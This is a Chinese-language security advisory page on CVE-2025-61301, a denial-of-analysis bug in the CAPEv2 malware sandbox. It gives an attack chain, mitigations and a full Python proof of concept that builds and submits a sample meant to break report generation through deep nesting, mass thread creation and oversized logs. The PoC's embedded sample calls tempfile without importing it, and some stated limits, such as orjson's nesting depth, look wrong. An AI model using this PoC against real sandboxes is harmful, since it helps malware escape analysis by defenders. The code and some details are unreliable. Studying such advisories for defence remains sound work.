IPBUF安全漏洞报告
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CVE-2025-61301 CVSS 7.5 高危

CVE-2025-61301:CAPEv2沙箱拒绝服务分析漏洞

披露日期: 2025-10-20

漏洞信息

漏洞编号
CVE-2025-61301
漏洞类型
拒绝服务(DoS)/拒绝分析(Denial-of-Analysis)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
CAPEv2(恶意软件分析沙箱)

相关标签

CVE-2025-61301CAPEv2拒绝服务Denial-of-AnalysisMongoDBBSON限制orjson递归溢出沙箱逃逸恶意软件分析

漏洞概述

CVE-2025-61301是CAPEv2恶意软件分析沙箱平台中的一个高危拒绝服务漏洞。该漏洞存在于CAPEv2的报告生成模块,具体涉及reporting/mongodb.py和reporting/jsondump.py两个核心文件。CAPEv2是一款基于开源Cuckoo Sandbox的自动化恶意软件分析系统,广泛应用于安全研究和威胁情报领域,用于对可疑样本进行动态行为分析。该漏洞源于系统在处理样本行为数据时缺乏对数据深度和大小的有效限制。当攻击者提交精心构造的恶意样本到CAPEv2沙箱执行时,样本可以在沙箱环境中生成深度嵌套或超大体积的行为数据。这些异常数据在报告生成阶段会触发MongoDB BSON文档大小限制(默认16MB)或orjson序列化库的递归深度限制错误,导致报告生成流程异常中断或产生不完整的分析报告。该漏洞的CVSS评分为7.5,属于高危级别,攻击者无需认证即可通过网络远程利用,且不需要用户交互。一旦成功利用,将严重影响CAPEv2的分析能力和报告完整性,削弱安全团队对恶意软件行为的检测和分析效率,可能导致恶意样本被错误地归类为安全文件。

技术细节

CAPEv2的漏洞根因在于reporting模块在处理样本行为日志时缺乏充分的数据验证和限制机制。具体技术细节如下:

1. **MongoDB BSON限制触发**:CAPEv2使用MongoDB存储分析结果,BSON文档有16MB的大小限制。当样本在沙箱中执行大量系统调用或产生大量API调用日志时,累积的行为数据可能超过BSON文档大小限制,导致MongoDB写入失败或数据截断。reporting/mongodb.py在处理这些数据时未实现分片存储或大小检查机制。

2. **orjson递归限制触发**:reporting/jsondump.py使用orjson库将行为数据序列化为JSON格式。orjson对嵌套深度有限制(默认最大深度为1000层),当样本通过深度递归调用或构造深层对象图(如Windows注册表键的深度嵌套、文件系统深度遍历等)触发沙箱记录深层嵌套的行为数据时,orjson序列化将抛出RecursionError异常。

3. **利用方式**:攻击者无需特殊权限,只需向CAPEv2的Web提交接口上传一个精心构造的样本。该样本在沙箱内执行时会通过以下方式产生异常数据:
- 大量快速重复的系统调用导致API日志暴增
- 递归创建深层目录结构或注册表项
- 大量进程/线程创建导致行为日志嵌套加深

4. **影响范围**:该漏洞影响commit 52e4b43(2025年5月17日)版本的CAPEv2。攻击成功后将导致该样本的分析报告缺失或不完整,使得安全分析人员无法获取完整的恶意行为信息,降低了沙箱的分析价值。

攻击链分析

STEP 1
步骤1:样本投递
攻击者通过CAPEv2的Web提交接口或API上传精心构造的恶意样本。由于CAPEv2通常对提交者开放,攻击者无需特殊权限即可完成投递。
STEP 2
步骤2:沙箱执行
CAPEv2将样本放入隔离的沙箱环境中执行。样本在执行过程中通过递归创建深层目录结构、生成大量线程/进程、创建深层注册表键或生成大文件等方式,产生深度嵌套或超大体量的行为数据。
STEP 3
步骤3:行为数据记录
CAPEv2的监控组件记录样本的所有系统调用、文件操作、注册表修改、进程创建等行为,生成大量嵌套的行为日志数据。
STEP 4
步骤4:报告生成触发异常
在报告生成阶段,reporting/mongodb.py尝试将行为数据写入MongoDB时,因数据量超过BSON文档16MB限制而失败;reporting/jsondump.py使用orjson序列化数据时,因嵌套深度超过orjson的递归限制而抛出RecursionError异常。
STEP 5
步骤5:分析报告缺失或不完整
由于报告生成流程异常中断,该样本的分析报告缺失关键行为数据或完全无法生成。安全分析人员无法获取完整的恶意行为信息,可能导致恶意样本被错误分类或漏报。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61301 PoC - Denial-of-Analysis via Oversized/Deeply Nested Behavior Data # This PoC demonstrates how a crafted sample can trigger MongoDB BSON limits # or orjson recursion errors in CAPEv2's reporting module. import requests import zipfile import os import tempfile # CAPEv2 web submission API endpoint CAPEV2_URL = "http://target-capev2:8000/apiv2/tasks/create/file/" API_TOKEN = "your_api_token_here" def create_malicious_sample(): """ Create a sample that generates deeply nested or oversized behavior data when executed in the CAPEv2 sandbox. The sample will: 1. Create deeply nested directories (triggers filesystem monitoring recursion) 2. Create deeply nested registry keys (Windows only) 3. Rapidly spawn processes/threads (triggers API log overflow) """ sample_code = ''' import os import sys import threading import time def create_deep_directories(base_path, depth): """Create deeply nested directories to trigger deep path monitoring""" current = base_path for i in range(depth): current = os.path.join(current, f"level_{i}_padding_to_increase_path_length_{'A'*50}") try: os.makedirs(current, exist_ok=True) except: pass def spawn_many_threads(count): """Spawn many threads to generate excessive API call logs""" threads = [] for i in range(count): t = threading.Thread(target=lambda: time.sleep(60)) t.daemon = True threads.append(t) t.start() def create_deep_registry_keys(depth): """Create deeply nested registry keys (Windows)""" try: import winreg key_path = r"Software\\CAPEv2_Test" current_key = winreg.HKEY_CURRENT_USER for i in range(depth): key_path += f"\\SubKey_{i}_{'X'*30}" try: current_key = winreg.CreateKey(current_key, f"SubKey_{i}_{'X'*30}") except: break except ImportError: pass def generate_large_files(count, size_mb): """Generate large files to increase behavior log size""" data = b"A" * (1024 * 1024) # 1MB of data for i in range(count): path = os.path.join(tempfile.gettempdir(), f"large_file_{i}.dat") with open(path, "wb") as f: for _ in range(size_mb): f.write(data) if __name__ == "__main__": # Strategy 1: Create deeply nested directories (depth > 1000) create_deep_directories(os.path.expanduser("~"), 1500) # Strategy 2: Spawn excessive threads (triggers API log overflow) spawn_many_threads(5000) # Strategy 3: Create deeply nested registry keys (Windows) create_deep_registry_keys(1500) # Strategy 4: Generate large files to exceed BSON 16MB limit generate_large_files(20, 5) print("Sample execution complete") ''' # Write sample to a temporary file sample_path = os.path.join(tempfile.gettempdir(), "cve_2025_61301_sample.py") with open(sample_path, "w") as f: f.write(sample_code) return sample_path def submit_to_capev2(sample_path): """Submit the malicious sample to CAPEv2""" with open(sample_path, "rb") as f: files = {"file": (os.path.basename(sample_path), f, "application/octet-stream")} headers = {"Authorization": f"Bearer {API_TOKEN}"} response = requests.post(CAPEV2_URL, files=files, headers=headers) if response.status_code == 200: print(f"[+] Sample submitted successfully. Task ID: {response.json().get('task_id')}") print("[!] The analysis report will be incomplete or missing due to CVE-2025-61301") else: print(f"[-] Submission failed: {response.status_code}") if __name__ == "__main__": sample = create_malicious_sample() submit_to_capev2(sample) os.remove(sample)

影响范围

CAPEv2 commit 52e4b43(2025-05-17)及之前版本

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)在CAPEv2的Web提交接口层面增加样本大小和行为复杂度的预筛选,拒绝明显异常的样本;2)在reporting模块中添加try-except异常处理,确保即使部分数据序列化失败也能生成部分报告;3)使用MongoDB GridFS替代直接的BSON文档存储以规避16MB大小限制;4)在orjson序列化前对数据进行深度检查,对超过安全深度的嵌套数据进行截断或展平处理;5)限制沙箱内样本的最大执行时间和系统调用频率,从源头减少异常行为数据的产生。

参考链接

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